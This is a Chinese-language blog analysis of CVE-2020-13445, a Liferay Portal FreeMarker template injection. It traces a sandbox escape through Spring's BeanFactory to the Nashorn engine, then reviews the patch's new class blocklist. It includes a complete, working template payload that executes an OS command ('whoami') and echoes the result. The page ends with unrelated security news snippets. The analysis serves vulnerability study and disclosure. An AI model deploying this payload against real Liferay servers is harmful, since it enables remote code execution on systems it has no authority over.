Liferay+Portal+ 模板 RCE 分析(CVE-2020-13445)

Andrew2021-02-17 21:57:15

前言

GHSL小组成员Alvaro Munoz在2020年3月报告了Liferay Portal中的模板注入漏洞,通过其描述可以得知具有编辑模板权限的用户可以实现通过该漏洞实现远程代码执行,而漏洞产生原因是由于绕过了Liferay Portal自定义的安全保护机制从而使得允许通过Freemarker模板实例化任意对象完成沙箱逃逸(CVE-2020-13445)

模板安全策略

在Liferay Portal中实现了自定义的ObjectWrapper,在访问对象时将会触发wrap方法(使用黑、白名单校验)

class com.liferay.portal.template.freemarker.internal.RestrictedLiferayObjectWrapper

图片

访问对象时将经过wrap方法并触发校验调用 _checkClassIsRestricted 方法

图片跟入 _checkClassIsRestricted方法具体逻辑如下

图片

在构造方法中传入 allowedClassNamesrestrictedClassNamesrestrictedMethodNames 参数
wrap 方法中调用 _checkClassIsRestricted 方法进行校验。
注:在低版本中不存在 RestrictedLiferayObjectWrapper 类,而核心逻辑位于 LiferayObjectWrapper

而黑白名单来自于 com.liferay.portal.template.freemarker.configuration.FreeMarkerEngineConfiguration
图片

受到限制的类

com.liferay.portal.json.jabsorb.serializer.LiferayJSONDeserializationWhitelist
java.lang.Class
java.lang.ClassLoader
java.lang.Compiler
java.lang.Package
java.lang.Process
java.lang.Runtime
java.lang.RuntimePermission
java.lang.SecurityManager
java.lang.System
java.lang.Thread
java.lang.ThreadGroup
java.lang.ThreadLocal

受到限制的变量

httpUtilUnsafe
objectUtil
serviceLocator
staticFieldGetter
staticUtil
utilLocator

我们还需要关注Liferay Portal中的类解析器 com.liferay.portal.template.freemarker.internal.LiferayTemplateClassResolver
此类是 freemarker.core.TemplateClassResolver 接口的实现,在加载class时将调用 resolve 方法
图片

  • Execute、ObjectConstructor 无法被加载

  • 非白名单中的类无法被加载

以上限制将导致无法在模板中创建对象或是经过ClassLoader加载Class等方法来利用

漏洞分析

虽然存在着诸多限制,但是允许通过模板上下文中暴露的大量对象提供的方法完成一个链式调用后绕过安全机制来实例化任意对象最终完成逃逸导致远程代码执行

在模板上下文中存在着许多变量,每个变量都对应到一个对象,而这些对象中暴露的方法可能会存在问题。
其中${renderRequest} 的类型是 class com.liferay.portlet.internal.RenderRequestImpl,同时它是 class com.liferay.portal.kernel.portlet.LiferayRenderRequest 的子类
在父类 class com.liferay.portlet.internal.RenderRequestImpl 中存在一个getter方法 public PortletContext getPortletContext()
图片
通过此方法我们可以获取到 class com.liferay.portlet.internal.PortletContextImpl 的实例(PortletContext)

PortletContextImpl 中存在getter方法为 public ServletContext getServletContext()
图片
通过此方法我们可以继续获取到 ServletContext,但它是由ASM生成,而并非是容器原生的 ServletContext

不过这个 ServletContext 提供了 getContext 方法,接着调用该方法我们可以获得容器原生的 ServletContext 实例(Tomcat中的ApplicationContextFacade
图片
至于为什么要获取到容器的 ServletContext,是因为在下一步我们需要从Servlet上下文中通过 getAttribute 方法获取到Spring的 ApplicationContext
这个保留在上下文Attribute中的命名为 org.springframework.web.context.WebApplicationContext.ROOT

经过测试由ASM生成的 ServletContext 是无法获取到该Attribute的
图片

而容器的 ServletContext 是可以获取到的
图片

此时我们已经拿到到了Spring的 ApplicationContext
实例类型为Liferay Portal中实现的 class com.liferay.portal.spring.context.PortalApplicationContext,它是 class org.springframework.web.context.support.XmlWebApplicationContext 的子类

目前获取到的 Spring ApplicationContext 可以做很多的事情,但是要想达到远程代码执行的效果还是需要继续探索。
我们可以通过获取到 BeanFactory 篡改 BeanDefinitions 中的 beanClass 类型为自定义类型 以及 scope 作用域为”prototype”,然后调用 getBean 方法, Spring将实例化一个我们定义的类型对象并返回达到实例化任意对象的效果。

这里的思路是实例化JDK中的 Nashorn 脚本引擎工厂,接着调用 getScriptEngine 获取 Nashorn 引擎实例,再调用 eval 方法来执行脚本。
寻找 BeanDefinition 时,只需要注意构造方法的参数即可,例如 Nashorn 脚本引擎工厂为无参构造方法。
其中名为 com.liferay.document.library.kernel.service.DLAppServiceBeanDefinition 是符合这个条件的。
图片

整个调用链及利用如下:

  1. 通过内置对象 ${renderRequest} 调用 getPortalContext() 获取 PortalContext 对象

  2. 通过 PortalContext 获取 ServletContext (ServletContextDelegate - 由 ASM 生成)

  3. 通过 ServletContextDelegate 调用 getContext(“/“) 获取 ApplicationContext

  4. 通过 ApplicationContext 调用 getAttribute(“org.springframework.web.context.WebApplicationContext.ROOT”) 获取 PortalApplicationContext(继承至 Spring XmlWebApplicationContext)

  5. 通过 PortalApplicationContext 调用 getBeanFactory() 获取 LiferayBeanFactory (继承至 Spring DefaultListableBeanFactory)

  6. 通过 LiferayBeanFactory 调用 getBeanDefinition(“com.liferay.document.library.kernel.service.DLAppService”) 获取 DLAppService 的 BeanDefinition

  7. 通过 BeanDefinition 调用 setScope(“prototype”) 修改 scope 为 “prototype” (非单例)

  8. 通过 BeanDefinition 调用 setBeanClassName(“jdk.nashorn.api.scripting.NashornScriptEngineFactory”) 修改 BeanClass 为 “jdk.nashorn.api.scripting.NashornScriptEngineFactory” (Nashorn 脚本引擎工厂)

  9. 通过 LiferayBeanFactory 调用 registerBeanDefinition 将篡改后的 BeanDefinition 重新注册

  10. 通过 LiferayBeanFactory 调用 getBean 将会导致创建 Nashorn 脚本引擎工厂对象并获取

  11. 通过 NashornScriptEngineFactory 调用 getScriptEngine() 获取 Nashorn 脚本引擎对象

  12. 通过 NashornScriptEngine 调用 eval 执行恶意脚本,触发远程代码执行

构造回显 Payload

<#assign sp=renderRequest.getPortletContext().getServletContext().getContext("/").getAttribute("org.springframework.web.context.WebApplicationContext.ROOT").getBeanFactory().getBeanDefinition("com.liferay.document.library.kernel.service.DLAppService")>
<#assign ec=sp.setScope("prototype")>
<#assign eb=sp.setBeanClassName("jdk.nashorn.api.scripting.NashornScriptEngineFactory")>
<#assign xx=renderRequest.getPortletContext().getServletContext().getContext("/").getAttribute("org.springframework.web.context.WebApplicationContext.ROOT").getBeanFactory().registerBeanDefinition("sp",sp)>
<#assign res=renderRequest.getPortletContext().getServletContext().getContext("/").getAttribute("org.springframework.web.context.WebApplicationContext.ROOT").getBeanFactory().getBean("sp").getScriptEngine().eval("var a = new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','whoami']);var b=a.start().getInputStream();var c=Java.type('com.liferay.portal.kernel.util.StreamUtil');var d=new java.io.ByteArrayOutputStream();c.transfer(b,d,1024,false);var e=new java.lang.String(d.toByteArray());e")>
${res}

图片

触发后成功执行
图片

补丁分析

Liferay Portal 7.3.2-GA3 中较之前版本增加了如下黑名单,其中增加了 com.liferay.portal.spring.context.* 导致无法访问 Spring ApplicationContext

com.ibm.*
com.liferay.portal.spring.context.*
io.undertow.*
org.apache.*
org.glassfish.*
org.jboss.*
org.springframework.*
org.wildfly.*
weblogic.*

参考:https://github.com/liferay/liferay-portal/...

原创: 带头老哥 补天平台
原文链接:https://mp.weixin.qq.com/s/xWmGqM1oQYrg3T8...

portalliferay
本作品采用《CC 协议》,转载必须注明作者和本文链接
我们可以通过获取到 BeanFactory 篡改 BeanDefinitions 中的 beanClass 类型为自定义类型 以及 scope 作用域为”prototype”,然后调用 getBean 方法, Spring将实例化一个我们定义的类型对象并返回达到实例化任意对象的效果。这里的思路是实例化JDK中的 Nashorn 脚本引擎工厂,接着调用 getScriptEngine 获取 Nashorn 引擎实例,再调用 eval 方法来执行脚本。寻找 BeanDefinition 时,只需要注意构造方法的参数即可,例如 Nashorn 脚本引擎工厂为无参构造方法。其中名为 的 BeanDefinition 是符合这个条件的。
僵尸网络于2020年11月出现在威胁领域,在某些情况下,攻击利用了最近披露的漏洞来注入OS命令。攻击旨在破坏受感染的系统以创建IRC僵尸网络,该僵尸网络以后可用于进行多种恶意活动,包括DDoS攻击和加密采矿活动。一旦感染了设备,它将稍后用作攻击平台。它们在代码的不同功能中用于不同的检查系统的TerraMaster TOS版本创建和发送数据包中间人攻击的ARP中毒。该僵尸网络尚处于早期阶段,在分析时,IRC面板显示它仅控制188个僵尸网络。
根据2022年X-Force威胁情报指数,从2020年到2021年,漏洞利用导致的事件数量增加了33%。2020年这一比例仅为10%。
接近1400万基于Linux的系统直接暴露在互联网上,成为大量现实世界攻击借以牟利的目标,造成这些系统上遍布恶意Web shell、加密货币挖矿机、勒索软件和其他木马。该公司检测到针对Linux云环境的近1500万起恶意软件事件,发现加密货币挖矿机和勒索软件占据了所有恶意软件的54%,Web shell的份额是29%。
近日网上爆出IBM WebSphere Portal 9及可能更新的版本存在多个SSRF和RCE漏洞。未授权用户可利用SSRF访问内网URL资源,认证后用户可以实现RCE。
IBM WebSphere Portal是美国IBM公司的一套企业门户软件。该软件能够创建一个联接企业内部和外部的平台,可让员工、客户和供应商等通过该平台访问企业内部数据。 IBM WebSphere Portal 9.0.0.0版本至9.0.0.0 CF15版本和8.5.0.0版本至8.5.0.0 CF15版本中存在跨站脚本漏洞。攻击者可利用该漏洞向Web UI中注入任意的JavaScript
Cybernews 研究团队12月12日报告称,印度外交部专门负责对外联络海外印度侨民的平台Global Pravasi Rishta Portal 泄露了敏感数据,包括用户个人姓名和护照详细信息。泄露原因可能是由于安全措施不力,例如缺乏有效的身份验证。
思科 Talos 安全团队发表了两篇博文,披露恶意应用在利用开源工具伪造签名时间戳,而这些恶意应用主要针对中文用户。这个例外制造了一个漏洞,允许新编译的驱动程序使用 2015 年 7 月 29 日之前颁发或过期的未撤销证书签名。主要针对中文用户的恶意程序利用这些开源工具使用窃取的证书进行签名,其中之一是 RedDriver。
据悉,Global Pravasi Rishta Portal以明文形式公开了注册用户的用户名、姓氏、电话、电子邮件地址,职业状态、护照号码和居住国。
Andrew
暂无描述